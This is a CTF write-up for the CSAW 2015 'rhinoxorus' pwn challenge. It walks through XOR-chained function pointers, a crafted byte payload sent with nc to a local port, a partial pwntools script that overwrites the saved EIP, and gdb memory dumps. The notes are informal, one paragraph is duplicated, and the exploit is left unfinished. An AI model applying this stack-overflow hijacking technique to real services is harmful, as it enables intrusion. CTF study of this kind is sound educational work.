The source code and binary are available here:
https://github.com/ctfs/write-ups-2015/tree/master/csaw-ctf-2015/pwn/rhinoxorus-500
Note: I've compiled it locally from source so my exploit won't work with the binary given.
Writeup:
In the c program there are 256 functions like this
unsigned char func_28(unsigned char *buf, unsigned int count) { unsigned int i; unsigned char localbuf[0x5c]; unsigned char byte=0x5c; memset(localbuf, byte, sizeof(localbuf)); printf("in function func_28, count is %u, bufsize is 0x5c\n", count); if (0 == --count) { return 0; } for (i = 0; i < count; ++i) { localbuf[i] ^= buf[i]; } func_array[localbuf[0]](localbuf+1, count); return 0; }
I ignore the name of the functions and just think about them by
their index in the array of function pointers (see source code
function_[X] has key (4*X + 0x84)%256
it xor's the current input with it's key
and then calls function_ with new_input[1:]
this way it gets smaller each time
By playing around I found how to generate
a chain that kept calling the same function
for function compose the string
a s(a) t(a) s(a) t(a) ...
where:
f = lambda a: (4*a + 0x84)%256
s = lambda a: hex(a ^ f(a) ^ f(f(a) ^ a))
t = lambda a: hex(a ^ f(f(a) ^ a))
this was found by tracing the xors
printf '\x80\x90\x14\x90\x14\x90\x14\x90\x14\x90\x14' | nc localhost 1337
...
in function func_b2, count is 11, bufsize is 0x84
in function func_36, count is 10, bufsize is 0x94
in function func_b2, count is 9, bufsize is 0x84
in function func_b2, count is 8, bufsize is 0x84
in function func_b2, count is 7, bufsize is 0x84
in function func_b2, count is 6, bufsize is 0x84
in function func_b2, count is 5, bufsize is 0x84
in function func_b2, count is 4, bufsize is 0x84
in function func_b2, count is 3, bufsize is 0x84
in function func_b2, count is 2, bufsize is 0x84
in function func_b2, count is 1, bufsize is 0x84
len 8:
starting chain: \x80\x90\x14\x90\x14\x90\x14\x90
0xf1 -f> key: 8
when we overflow, we write over the counter
To make sure that our whole payload gets copied
and we don't copy any extra junk this needs to
be fixed
this is the important one
------------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000
I'll find what it is and then xor appropriatley to get 0x09
which is what it should be
wait no, this is the important one
-----------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000
k so it loads 0x29
\x80\x90\x14\x90\x14\x14\xf11234567\x29000
but that kinda breaks things with all the xors
AHH! Here's a smart idea. It doesn't actually matter, I can calculate a byte that after all the xoring will be 0x00 and have no effect.
Giving it nulls (after the starting chain)
0x00 -xors> 0x10
therefore
0x10 -xors> 0x00
AHH! Here's a smart idea. It doesn't actually matter, I can calculate a byte that after all the xoring will be 0x00 and have no effect.
Giving it nulls (after the starting chain)
0x00 -xors> 0x10
therefore
0x10 -xors> 0x00
at this point in the chain buf is like 0x10 so it flips bits for all the nulls
by adding 0x10's I make it have the net effect of not doing anything
\x80\x90\x14\x90\x14\x90\x14\xf1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x10\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
e.g
Memory initially:
0x08080808 0x08080808
My initial input
0x00000000 0x10101010
after all the xoring
0x10101010 0x00000000
After local overriding xor's
0x18181818 0x08080808
ok now it's time to move to python
#!/usr/bin/python conn = remote('localhost', 1337) payload = "\x80\x90\x14\x90\x14\x90\x14\xf1" nulls = '\x10'*(6*4 + 1) saved_eip = 0x804e06c zor = 0x10101010 #nulls -> 0x1010101
# therefore 0x10101010 -> 0x000000 i.e no effect yay ninja flag_loc = 0x805b6c0 eip_null = p32(saved_eip ^ zor) conn.sendline(payload + nulls + eip_null)
At this point, I control eip
I'm going to call:
int sock_send(int sockfd, char *buf, size_t length);
from inspection sockfd == 0x4
0xffeabb40: 0xffeabb58 -> flag??
gdb-peda$ x/32wx 0xffb375f0
0xffb375f0: 0x086faac0 0x08080808 0x08080808 0x0000001c
0xffb37600: 0xf76faac0 0xf767cc1d 0xffb376b8 0x0805454d
0xffb37610: 0xffb37628 0x0000003d 0x00000084 0x00000000
0xffb37620: 0x00000000 0xe1000000 0x00000000 0x00000000
0xffb37630: 0x00000000 0x00000000 0x00000000 0x00000000
0xffb37640: 0x01a52100 0x00000000 0x00000000 0x00000000
0xffb37650: 0x00000000 0x0487db00 0x00000408 0x05b6c0e1
0xffb37660: 0x0000ff08 0x84848400 0x84848484 0x84848484
gdb-peda$ c 4